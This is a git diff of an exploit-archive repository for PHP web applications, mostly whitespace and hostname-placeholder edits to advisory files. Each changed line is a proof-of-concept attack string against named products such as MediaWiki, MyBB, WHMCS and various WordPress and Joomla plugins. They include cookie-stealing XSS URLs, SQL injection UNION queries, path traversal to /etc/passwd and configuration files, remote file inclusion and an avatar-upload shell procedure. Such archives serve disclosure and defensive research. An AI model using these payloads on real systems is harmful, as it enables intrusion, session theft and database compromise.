cript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_1_high=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_2_low=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E -http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_2_high=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_2_high=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37312.txt b/platforms/php/webapps/37312.txt index 5e08e61d1..056335547 100755 --- a/platforms/php/webapps/37312.txt +++ b/platforms/php/webapps/37312.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br PragmaMX 1.12.1 is vulnerable; other versions may also be affected. -http://www.example.com/modules.php?name=Themetest&%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E \ No newline at end of file +http://www.example.com/modules.php?name=Themetest&%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37313.txt b/platforms/php/webapps/37313.txt index a056a6b06..6b7f953fa 100755 --- a/platforms/php/webapps/37313.txt +++ b/platforms/php/webapps/37313.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br PragmaMX 1.12.1 is vulnerable; other versions may also be affected. -http://www.example.com/includes/wysiwyg/spaw/editor/plugins/imgpopup/img_popup.php?img_url=%22%3E%3Cscript%3E alert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/includes/wysiwyg/spaw/editor/plugins/imgpopup/img_popup.php?img_url=%22%3E%3Cscript%3E alert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37314.txt b/platforms/php/webapps/37314.txt index 633b69d65..e232d0978 100755 --- a/platforms/php/webapps/37314.txt +++ b/platforms/php/webapps/37314.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability could allow an attacker to obtain potentially sens Yellow Duck Framework Beta1 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?id=./database/config.php \ No newline at end of file +http://www.example.com/index.php?id=./database/config.php \ No newline at end of file diff --git a/platforms/php/webapps/37317.txt b/platforms/php/webapps/37317.txt index f301b9d2e..ccb5d9e2f 100755 --- a/platforms/php/webapps/37317.txt +++ b/platforms/php/webapps/37317.txt @@ -10,4 +10,4 @@ http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default%00<script>alert("AkaStep");</script>&dir=../include/&f=config.inc.php -http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default&dir=../include/&f=config.inc.php \ No newline at end of file +http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default&dir=../include/&f=config.inc.php \ No newline at end of file diff --git a/platforms/php/webapps/37328.php b/platforms/php/webapps/37328.php index 1cac85c5c..f0c80a7df 100755 --- a/platforms/php/webapps/37328.php +++ b/platforms/php/webapps/37328.php @@ -11,7 +11,7 @@ An attacker can exploit this issue to inject and execute arbitrary PHP code in t # Email : L3b-r1z@hotmail.com # Site : Sec4Ever.Com & Exploit4Arab.Com # Google Dork : allintext: "Copyright © 2012 . Small-Cms " -# -------- Put Target As server Just (server) -------- # +# -------- Put Target As site.com Just (site.com) -------- # $target = $argv[1]; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); diff --git a/platforms/php/webapps/37329.txt b/platforms/php/webapps/37329.txt index 3c8006a2e..0740c0284 100755 --- a/platforms/php/webapps/37329.txt +++ b/platforms/php/webapps/37329.txt @@ -10,4 +10,4 @@ http://www.example.com//search.php?q=[SQLi] http://www.example.com//lost.php/ [SQLi] -http://www.example.com/footer.php? [LFI] \ No newline at end of file +http://www.example.com/footer.php? [LFI] \ No newline at end of file diff --git a/platforms/php/webapps/3733.txt b/platforms/php/webapps/3733.txt index 08072db05..01070c1ec 100755 --- a/platforms/php/webapps/3733.txt +++ b/platforms/php/webapps/3733.txt @@ -15,6 +15,6 @@ bug found: require_once ($cfg['sys']['base_path'] . "resources/smarty/libs/Smarty.class.php"); -Exploit: http://server/resources/includes/class.Smarty.php?cfg[sys][base_path]=[evilcode] +Exploit: http://www.target.com/resources/includes/class.Smarty.php?cfg[sys][base_path]=[evilcode] # milw0rm.com [2007-04-14] diff --git a/platforms/php/webapps/37330.txt b/platforms/php/webapps/37330.txt index ddbc6c4eb..6cc361ed2 100755 --- a/platforms/php/webapps/37330.txt +++ b/platforms/php/webapps/37330.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to download the database that contain sensiti Yamamah 1.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/yamamah/cp/export.php \ No newline at end of file +http://www.example.com/yamamah/cp/export.php \ No newline at end of file diff --git a/platforms/php/webapps/37337.txt b/platforms/php/webapps/37337.txt index 6bb742e61..7863054b4 100755 --- a/platforms/php/webapps/37337.txt +++ b/platforms/php/webapps/37337.txt @@ -10,4 +10,4 @@ http://www.example.com/cart.php?a=add&domain=transfer&n913620=v992636 http://www.example.com/domainchecker.php?search=bulkregister&n946774=v992350 -http://www.example.com/cart.php?currency=2&gid=1&n972751=v976696 \ No newline at end of file +http://www.example.com/cart.php?currency=2&gid=1&n972751=v976696 \ No newline at end of file diff --git a/platforms/php/webapps/37338.txt b/platforms/php/webapps/37338.txt index 8fa61d337..60c71edd6 100755 --- a/platforms/php/webapps/37338.txt +++ b/platforms/php/webapps/37338.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would run in the context of the affected WHMCS 5.0 is vulnerable; other versions may also be affected. -http://www.example.com/knowledgebase.php?action = [XSS] \ No newline at end of file +http://www.example.com/knowledgebase.php?action = [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37339.txt b/platforms/php/webapps/37339.txt index a9b11c17c..539db52d4 100755 --- a/platforms/php/webapps/37339.txt +++ b/platforms/php/webapps/37339.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow VoipNow Professional 2.5.3 is vulnerable; other versions may also be vulnerable. -http://www.example.com/index.php?nsextt=[xss] \ No newline at end of file +http://www.example.com/index.php?nsextt=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/37350.txt b/platforms/php/webapps/37350.txt index 10ab6d6ee..444901ff9 100755 --- a/platforms/php/webapps/37350.txt +++ b/platforms/php/webapps/37350.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a AdaptCMS 2.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?view=plugins&plugin=tinyurl&module=go&id='1337 AND 2=1 UNION SELECT 1,2,3,4,5-- \ No newline at end of file +http://www.example.com/index.php?view=plugins&plugin=tinyurl&module=go&id='1337 AND 2=1 UNION SELECT 1,2,3,4,5-- \ No newline at end of file diff --git a/platforms/php/webapps/37351.txt b/platforms/php/webapps/37351.txt index db167f843..95979926e 100755 --- a/platforms/php/webapps/37351.txt +++ b/platforms/php/webapps/37351.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a AdaptCMS 2.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/admin.php?view=plugins&do=load&plugin=tinyurl&module=delete&id=[ + SQL Injection Code + ] \ No newline at end of file +http://www.example.com/admin.php?view=plugins&do=load&plugin=tinyurl&module=delete&id=[ + SQL Injection Code + ] \ No newline at end of file diff --git a/platforms/php/webapps/37352.txt b/platforms/php/webapps/37352.txt index c4ef15110..82d71c8ee 100755 --- a/platforms/php/webapps/37352.txt +++ b/platforms/php/webapps/37352.txt @@ -4,4 +4,4 @@ Ignite Solutions CMS is prone to an SQL-injection vulnerability because it fails Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/car-details.php?ID=[Sql] \ No newline at end of file +http://www.example.com/car-details.php?ID=[Sql] \ No newline at end of file diff --git a/platforms/php/webapps/37355.txt b/platforms/php/webapps/37355.txt index 454e0f25c..129bf3e7e 100755 --- a/platforms/php/webapps/37355.txt +++ b/platforms/php/webapps/37355.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access MyBB 1.6.8 is vulnerable; other versions may also be affected. -http://www.example.com/forums/member.php?action=profile&uid=[Sqli] \ No newline at end of file +http://www.example.com/forums/member.php?action=profile&uid=[Sqli] \ No newline at end of file diff --git a/platforms/php/webapps/37356.txt b/platforms/php/webapps/37356.txt index a77738553..5f2d8573a 100755 --- a/platforms/php/webapps/37356.txt +++ b/platforms/php/webapps/37356.txt @@ -12,4 +12,4 @@ http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export. http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=commentposed _user -http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=contact_user \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=contact_user \ No newline at end of file diff --git a/platforms/php/webapps/37374.txt b/platforms/php/webapps/37374.txt index 70855f9a4..81f252ede 100755 --- a/platforms/php/webapps/37374.txt +++ b/platforms/php/webapps/37374.txt @@ -4,4 +4,4 @@ The Alphacontent component for Joomla! is prone to an SQL-injection vulnerabilit Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_alphacontent&section=weblinks&Itemid=1&lang=de&limitstart=[sqli] \ No newline at end of file +http://www.example.com/index.php?option=com_alphacontent&section=weblinks&Itemid=1&lang=de&limitstart=[sqli] \ No newline at end of file diff --git a/platforms/php/webapps/37389.txt b/platforms/php/webapps/37389.txt index bba243443..c8e7975ae 100755 --- a/platforms/php/webapps/37389.txt +++ b/platforms/php/webapps/37389.txt @@ -115,3 +115,4 @@ The attacker can now log as superlibrarian. Side Note: In order to make the attack work, alice needs to be logged in to the Open Public Catalog interface at the time of when clicking the malicious link. Alice needs to have access to the OPAC interface and to have permissions to create public lists. + \ No newline at end of file diff --git a/platforms/php/webapps/37404.txt b/platforms/php/webapps/37404.txt index 9dde87af2..a7a6bee28 100755 --- a/platforms/php/webapps/37404.txt +++ b/platforms/php/webapps/37404.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MediaWiki versions prior to 1.17.5, 1.18.4, and 1.19.1 are vulnerable. -http://www.example.com/wiki/Main_Page?uselang=a%27%20onmouseover=eval(alert(1))%20e=%27 \ No newline at end of file +http://www.example.com/wiki/Main_Page?uselang=a%27%20onmouseover=eval(alert(1))%20e=%27 \ No newline at end of file diff --git a/platforms/php/webapps/37407.txt b/platforms/php/webapps/37407.txt index 3bbfc3be7..4a9c2e230 100755 --- a/platforms/php/webapps/37407.txt +++ b/platforms/php/webapps/37407.txt @@ -8,4 +8,4 @@ ADICO 1.1 is vulnerable; other versions may also be affected. http://www.example.com/car-rent/[PATH]/admin/index.php?job=cars&action=edit&id=[SQL INJECTION] -http://www.example.com/car-rent/[PATH]/admin/index.php?job=calendar&action=month&id=[SQL INJECTION] \ No newline at end of file +http://www.example.com/car-rent/[PATH]/admin/index.php?job=calendar&action=month&id=[SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/37408.txt b/platforms/php/webapps/37408.txt index d01405f1d..7cad4bdd0 100755 --- a/platforms/php/webapps/37408.txt +++ b/platforms/php/webapps/37408.txt @@ -12,4 +12,4 @@ http://www.example.com/cms/forum.php?orderType=[ASC/DESC]&orderBy=-1 [SQL-INJECT http://www.example.com/cms/forum/admin.php?act=topics&orderType=-1 [SQL-INJECTION]-- http://www.example.com/cms/forum/admin.php?act=topics&orderType=[ASC/DESC]&search=&orderBy=-1 [SQL-INJECTION]-- http://www.example.com/cms/forum/admin.php?act=replies&topic_id=&orderType=-1 [SQL-INJECTION]-- -http://www.example.com/cms/forum/admin.php?act=replies&topic_id=&orderType=[ASC/DESC]&search=&orderBy=-1 [SQL-INJECTION]-- \ No newline at end of file +http://www.example.com/cms/forum/admin.php?act=replies&topic_id=&orderType=[ASC/DESC]&search=&orderBy=-1 [SQL-INJECTION]-- \ No newline at end of file diff --git a/platforms/php/webapps/37409.txt b/platforms/php/webapps/37409.txt index 206c497ab..2331b5152 100755 --- a/platforms/php/webapps/37409.txt +++ b/platforms/php/webapps/37409.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application, acc NetArt Media Jobs Portal 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/EMPLOYERS/index.php?category=application_management&folder=my&page=details&posting_id=113&apply_id=68+order+%20by+1--%20[SQL INJECTION]-- \ No newline at end of file +http://www.example.com/EMPLOYERS/index.php?category=application_management&folder=my&page=details&posting_id=113&apply_id=68+order+%20by+1--%20[SQL INJECTION]-- \ No newline at end of file diff --git a/platforms/php/webapps/3741.txt b/platforms/php/webapps/3741.txt index 093b65d9c..ffe50e9f5 100755 --- a/platforms/php/webapps/3741.txt +++ b/platforms/php/webapps/3741.txt @@ -15,6 +15,6 @@ bug found: include $bj . 'reports/who.php'; -Exploit: http://server/reports/who_r.php?bj=[evilcode] +Exploit: http://www.target.com/reports/who_r.php?bj=[evilcode] # milw0rm.com [2007-04-15] diff --git a/platforms/php/webapps/37413.txt b/platforms/php/webapps/37413.txt index bbb59c882..dc103c3d3 100755 --- a/platforms/php/webapps/37413.txt +++ b/platforms/php/webapps/37413.txt @@ -4,4 +4,4 @@ The JCal Pro Calendar component for Joomla! is prone to an SQL-injection vulnera Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_jcalpro&Itemid=1 [SQL Injection] \ No newline at end of file +http://www.example.com/index.php?option=com_jcalpro&Itemid=1 [SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/37415.txt b/platforms/php/webapps/37415.txt index a03661108..e0234b860 100755 --- a/platforms/php/webapps/37415.txt +++ b/platforms/php/webapps/37415.txt @@ -27,4 +27,4 @@ http://www.example.com/admin/index.php?page=formdesigner [Persistent Script Code http://www.example.com/admin/index.php?page=comments [Persistent Script Code Inject via Comment text & name Value] -http://www.example.com/admin/index.php?page=submissions [Persistent Script Code Inject via submission name Value] \ No newline at end of file +http://www.example.com/admin/index.php?page=submissions [Persistent Script Code Inject via submission name Value] \ No newline at end of file diff --git a/platforms/php/webapps/37419.txt b/platforms/php/webapps/37419.txt index bd1c5322e..ebb4894b8 100755 --- a/platforms/php/webapps/37419.txt +++ b/platforms/php/webapps/37419.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view local files in the context of Wp-ImageZoom 1.0.3 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/wp-imagezoom/download.php?file=../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/wp-imagezoom/download.php?file=../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/37420.txt b/platforms/php/webapps/37420.txt index ca3f22bc3..58088fe96 100755 --- a/platforms/php/webapps/37420.txt +++ b/platforms/php/webapps/37420.txt @@ -4,4 +4,4 @@ VANA CMS is prone to an SQL-injection vulnerability because it fails to sufficie A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. - http://www.example.com/general/index.php?recordID=125' \ No newline at end of file + http://www.example.com/general/index.php?recordID=125' \ No newline at end of file diff --git a/platforms/php/webapps/37423.txt b/platforms/php/webapps/37423.txt index 7da876802..62e007d8b 100755 --- a/platforms/php/webapps/37423.txt +++ b/platforms/php/webapps/37423.txt @@ -1,4 +1,4 @@ -========================== + ========================== # Exploit Title: Dedecms variable coverage leads to getshell # Date: 26-06-2015 # Vendor Homepage: http://www.dedecms.com/] @@ -196,4 +196,4 @@ http://192.168.204.135/install/hello.php > Security researcher This is the vulnerability of some web pages -http://seclists.org/fulldisclosure/2015/Jun/47 \ No newline at end of file +http://seclists.org/fulldisclosure/2015/Jun/47 \ No newline at end of file diff --git a/platforms/php/webapps/37430.txt b/platforms/php/webapps/37430.txt index cc638d372..32da4a208 100755 --- a/platforms/php/webapps/37430.txt +++ b/platforms/php/webapps/37430.txt @@ -8,4 +8,4 @@ CMS Balitbang 3.5 is vulnerable; other versions may also be affected. http://www.example.com/balitbang/member/user.php?id=guruabsendetail&kd=<script>alert(document.cookie);</script> [XSS] -http://www.example.com/balitbang/admin/admin.php?mode=mengajar_detail&nip=<script>alert(document.cookie);</script> [XSS] \ No newline at end of file +http://www.example.com/balitbang/admin/admin.php?mode=mengajar_detail&nip=<script>alert(document.cookie);</script> [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37432.txt b/platforms/php/webapps/37432.txt index 8a53dacc5..9a3a0f65c 100755 --- a/platforms/php/webapps/37432.txt +++ b/platforms/php/webapps/37432.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view local files in the context of Image Gallery 0.9.7.1 is vulnerable; other versions may also be affected. -http://www.example.com/e107_plugins/image_gallery/viewImage.php?name=../../../../e107_config.php&type=album \ No newline at end of file +http://www.example.com/e107_plugins/image_gallery/viewImage.php?name=../../../../e107_config.php&type=album \ No newline at end of file diff --git a/platforms/php/webapps/37433.txt b/platforms/php/webapps/37433.txt index 86dbcc6c5..be6310798 100755 --- a/platforms/php/webapps/37433.txt +++ b/platforms/php/webapps/37433.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow AdaptCMS 2.0.2 is vulnerable. -http://www.example.com/adapt/index.php?view=search&q=%3Cmarquee%3E%3Cfont%20color=Blue%20size=15%3Eindoushka%3C/font%3E%3C/marquee%3E \ No newline at end of file +http://www.example.com/adapt/index.php?view=search&q=%3Cmarquee%3E%3Cfont%20color=Blue%20size=15%3Eindoushka%3C/font%3E%3C/marquee%3E \ No newline at end of file diff --git a/platforms/php/webapps/37434.txt b/platforms/php/webapps/37434.txt index b224408ef..f8ab0d6fe 100755 --- a/platforms/php/webapps/37434.txt +++ b/platforms/php/webapps/37434.txt @@ -22,4 +22,4 @@ print "$postResult"; ?> -http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/edit.php?file=../../../../../e107_config.php%00 \ No newline at end of file +http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/edit.php?file=../../../../../e107_config.php%00 \ No newline at end of file diff --git a/platforms/php/webapps/37435.txt b/platforms/php/webapps/37435.txt index 511f88eda..5dea0efe5 100755 --- a/platforms/php/webapps/37435.txt +++ b/platforms/php/webapps/37435.txt @@ -4,4 +4,4 @@ web@all is prone to a cross-site scripting vulnerability and a cross-site reques An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add, delete or modify sensitive information, or perform unauthorized actions. Other attacks are also possible. -http://www.example.com/search.php?_text[title]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/search.php?_text[title]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37436.txt b/platforms/php/webapps/37436.txt index 131867134..dd155db31 100755 --- a/platforms/php/webapps/37436.txt +++ b/platforms/php/webapps/37436.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Commentics 2.0 is vulnerable; prior versions may also be affected. -http://www.example.com/commentics/commentics/comments/[admin_path]/index.php?p age=edit_page&id="><script>alert(1)</script><!-- \ No newline at end of file +http://www.example.com/commentics/commentics/comments/[admin_path]/index.php?p age=edit_page&id="><script>alert(1)</script><!-- \ No newline at end of file diff --git a/platforms/php/webapps/37437.txt b/platforms/php/webapps/37437.txt index 70c59e58a..de36508d6 100755 --- a/platforms/php/webapps/37437.txt +++ b/platforms/php/webapps/37437.txt @@ -4,4 +4,4 @@ Coppermine Photo Gallery is prone to an SQL-injection vulnerability because it f A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?cat=14 [SQLi] \ No newline at end of file +http://www.example.com/index.php?cat=14 [SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/37438.txt b/platforms/php/webapps/37438.txt index 995e66580..218c15362 100755 --- a/platforms/php/webapps/37438.txt +++ b/platforms/php/webapps/37438.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow LogAnalyzer 3.4.3 is vulnerable; other versions may also be vulnerable. -http://www.example.com/?search=Search&highlight="<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/?search=Search&highlight="<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/37443.txt b/platforms/php/webapps/37443.txt index 95494efed..291989bf9 100755 --- a/platforms/php/webapps/37443.txt +++ b/platforms/php/webapps/37443.txt @@ -4,4 +4,4 @@ The 'com_szallasok' component for Joomla! is prone to an SQL-injection vulnerabi A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_szallasok&mode=8&id=-25 union select 0,1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 \ No newline at end of file +http://www.example.com/index.php?option=com_szallasok&mode=8&id=-25 union select 0,1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 \ No newline at end of file diff --git a/platforms/php/webapps/37444.txt b/platforms/php/webapps/37444.txt index c7053227c..8cf689769 100755 --- a/platforms/php/webapps/37444.txt +++ b/platforms/php/webapps/37444.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Cotonti 0.6.23 is vulnerable; other versions may also be affected. -http://www.example.com/admin.php?m=hits&f=year&v=1[SQLi] \ No newline at end of file +http://www.example.com/admin.php?m=hits&f=year&v=1[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/37459.txt b/platforms/php/webapps/37459.txt index efca1a0b4..12b0eb147 100755 --- a/platforms/php/webapps/37459.txt +++ b/platforms/php/webapps/37459.txt @@ -8,4 +8,4 @@ Attackers can exploit an arbitrary file-deletion vulnerability with directory-tr Umapresence 2.6.0 is vulnerable; other versions may also be affected. -http://www.example.com/umapresence/umaservices/uma_editor/inc/insert_doc.pop.php?dos=../../style \ No newline at end of file +http://www.example.com/umapresence/umaservices/uma_editor/inc/insert_doc.pop.php?dos=../../style \ No newline at end of file diff --git a/platforms/php/webapps/37460.txt b/platforms/php/webapps/37460.txt index b8a859176..944587baf 100755 --- a/platforms/php/webapps/37460.txt +++ b/platforms/php/webapps/37460.txt @@ -6,4 +6,4 @@ An attacker could exploit these issues to execute arbitrary script code in a use Schoolhos CMS 2.29 is vulnerable; other versions may also be affected. -http://www.example.com/schoolhos/index.php?p=detberita&id=xxx [XSS] \ No newline at end of file +http://www.example.com/schoolhos/index.php?p=detberita&id=xxx [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37461.txt b/platforms/php/webapps/37461.txt index ef55faf6b..2ff5e481f 100755 --- a/platforms/php/webapps/37461.txt +++ b/platforms/php/webapps/37461.txt @@ -4,4 +4,4 @@ DigPHP is prone to a remote file-disclosure vulnerability because it fails to pr An attacker can exploit this vulnerability to view local files in the context of the web server process, which may aid in further attacks. -http://www.example.com/dig.php?action=file&dir= \ No newline at end of file +http://www.example.com/dig.php?action=file&dir= \ No newline at end of file diff --git a/platforms/php/webapps/37469.txt b/platforms/php/webapps/37469.txt index 479d8fd41..8bfc7e3d7 100755 --- a/platforms/php/webapps/37469.txt +++ b/platforms/php/webapps/37469.txt @@ -8,4 +8,4 @@ The following example URIs are available: http://www.example.com/index.php?id -http://www.example.com/_files_/db.log \ No newline at end of file +http://www.example.com/_files_/db.log \ No newline at end of file diff --git a/platforms/php/webapps/37474.txt b/platforms/php/webapps/37474.txt index bda6b328b..366d4cbf4 100755 --- a/platforms/php/webapps/37474.txt +++ b/platforms/php/webapps/37474.txt @@ -1,4 +1,4 @@ -CuteNews 2.0.3 Remote File Upload Vulnerability + CuteNews 2.0.3 Remote File Upload Vulnerability ================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 @@ -37,7 +37,7 @@ Vuln : http://127.0.0.1/cutenews/index.php?mod=main&opt=personal 1 - Sign up for New User 2 - Log In - 3 - Go to Personal options http://server/cutenews/index.php?mod=main&opt=personal + 3 - Go to Personal options http://www.target.com/cutenews/index.php?mod=main&opt=personal 4 - Select Upload Avatar Example: Evil.jpg 5 - use tamper data & Rename File Evil.jpg to Evil.php diff --git a/platforms/php/webapps/37476.txt b/platforms/php/webapps/37476.txt index ff70552ff..db9dffae8 100755 --- a/platforms/php/webapps/37476.txt +++ b/platforms/php/webapps/37476.txt @@ -10,4 +10,4 @@ http://www.example.com/mbbcms/?ref=search&q=' + [SQL Injection] http://www.example.com/mbbcms/?mod=article&act=search&q=' + [SQL Injection] http://www.example.com/mbbcms/?ref=search&q= [XSS] -http://www.example.com/mbbcms/?mod=article&act=search&q= [XSS] \ No newline at end of file +http://www.example.com/mbbcms/?mod=article&act=search&q= [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37479.txt b/platforms/php/webapps/37479.txt index 273aa850d..292885d8c 100755 --- a/platforms/php/webapps/37479.txt +++ b/platforms/php/webapps/37479.txt @@ -12,4 +12,4 @@ http://www.example.com/test/classifiedscript/admin.php?act=ads&orderType=[SQL-IN http://www.example.com/test/classifiedscript/admin.php?act=comments&ads_id=&orderType=[ASC / DESC ]&search=&orderBy=[SQL-INJECTION] -http://www.example.com/test/classifiedscript/admin.php?act=comments&ads_id=&orderType[SQL-INJECTION] \ No newline at end of file +http://www.example.com/test/classifiedscript/admin.php?act=comments&ads_id=&orderType[SQL-INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/3748.txt b/platforms/php/webapps/3748.txt index 48744b76b..905535ba1 100755 --- a/platforms/php/webapps/3748.txt +++ b/platforms/php/webapps/3748.txt @@ -10,7 +10,7 @@ sunshop 4 (index.php) Remote File Include Vulnerability ------------------------------------------------------------------------------------------ bug found: -Exploit: server/index.php?abs_path=[evilcode] - server/checkout.php?abs_path=[evilcode] +Exploit: www.target.com/index.php?abs_path=[evilcode] + www.target.com/checkout.php?abs_path=[evilcode] # milw0rm.com [2007-04-16] diff --git a/platforms/php/webapps/37481.txt b/platforms/php/webapps/37481.txt index f1d08645e..2e701f97c 100755 --- a/platforms/php/webapps/37481.txt +++ b/platforms/php/webapps/37481.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SocialFit 1.2.2 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37482.txt b/platforms/php/webapps/37482.txt index 5e6421a45..f3cc099ff 100755 --- a/platforms/php/webapps/37482.txt +++ b/platforms/php/webapps/37482.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow custom tables 3.4.4 is vulnerable; prior versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/custom-tables/iframe.php?s=1&key=%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/custom-tables/iframe.php?s=1&key=%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37483.txt b/platforms/php/webapps/37483.txt index f0b258399..c33e810b2 100755 --- a/platforms/php/webapps/37483.txt +++ b/platforms/php/webapps/37483.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow church_admin plugin Version 0.33.4.5 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/church-admin/includes/validate.php?id=%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/church-admin/includes/validate.php?id=%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37484.txt b/platforms/php/webapps/37484.txt index 67f6171fe..37e09212c 100755 --- a/platforms/php/webapps/37484.txt +++ b/platforms/php/webapps/37484.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Knews Multilingual Newsletters 1.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/knews/wysiwyg/fontpicker/?ff=%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/knews/wysiwyg/fontpicker/?ff=%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37486.txt b/platforms/php/webapps/37486.txt index 2df11d1d5..59a813e03 100755 --- a/platforms/php/webapps/37486.txt +++ b/platforms/php/webapps/37486.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view files and execute local scrip sflog! 1.00 is vulnerable; other versions may also be affected. -http://www.example.com/sflog/index.php?blog=admin&section=../../../../../../../etc/&permalink=passwd \ No newline at end of file 